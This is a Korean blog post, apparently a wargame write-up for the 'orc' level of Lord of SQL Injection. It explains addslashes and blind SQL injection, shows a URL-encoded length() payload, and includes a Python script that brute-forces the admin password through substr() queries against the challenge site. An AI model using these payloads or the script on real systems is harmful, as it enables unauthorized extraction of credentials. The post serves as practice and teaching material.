본문 바로가기

WarGame/Web

[Lord of SQL injection] orc

소스코드 분석

$_GET[pw] = addslashes($_GET[pw]); 

addslashes는 데이터 베이스에 저장이 될때 특수문자 앞에 \를 넣어준다.

ex)insert into test (id) values ('$a') 이런 쿼리문에 'LOS'라는걸 입력을 해서 저장을 한다고 할때

insert into test (id) values (''LOS'') 이런 에러를 피하기 위해서 적어준다.

addslashes 적용 -> insert into test (id) values ('\'LOS\'')



$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 

$result = @mysql_fetch_array(mysql_query($query)); 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

admin의 pw를 찾는 Blind SQL Injection 문제이다.

Blind SQL Injection는 결과값을 화면에 보여주지않고, 값이 참 또는 거짓 인지만 가지고 값을 찾아가는 방법이다.


length 함수를 사용해서 pw 길이부터 찾아본다. length 함수는 문자열 길이를 구하는 함수다.

ex)length('ABCDE') 일때 5가 리턴된다. 

?pw=%27%20or%20length(pw)=8%20%20and%20id=%27admin%27%23

숫자를 바꿔가면서 찾으면 pw 길이를 알수있다.



문자열 길이를 알았으니 substr함수를 이용해서 pw를 찾아보자.

SUBSTR( string, position , [substring_length])

string : 입력 문자열을 지정한다. 입력 값이 NULL이면 결과로 NULL이 반환된다.

position : 문자열을 추출할 시작 위치를 지정.

substring_length : 추출할 문자열의 길이를 지정


ex) id= admin pw=12341234



이렇게 노가다로 풀수도 있다. 하지만 방법을 편하게 코딩을 해서 풀어보면

Python 3.x

import http.client
result=''
leng=0
header={'Cookie':' '}
string="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"
for i in range(1,100) :
length='/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27%20or%20length(pw)='+str(i)+' and%20id=%27admin'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',length,'',header)
data=conn.getresponse().read()
if "Hello admin" in data.decode():
leng = i
print ("pw length: "+str(i))
break
for i in range(1,leng+1):
for j in range(0,76):
substr='/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27%20or%20substr(pw,'+ str(i) +',1)='+'%27'+ str(string[j]) +'%27'+'and%20id=%27admin'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
if 'Hello admin' in data.decode():
result=result+string[j]
print ('substr(pw,'+str(i)+',1)= '+str(string[j]))
break
print ('Password is '+result)



간편하게 패스워드가 출력된다.

'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] darkelf  (0) 2017.05.25
[Lord of SQL injection] wolfman  (0) 2017.05.24
[Lord of SQL injection] goblin  (0) 2017.05.24
[Lord of SQL injection] cobolt  (0) 2017.05.23
[Lord of SQL injection] gremlin  (0) 2017.05.23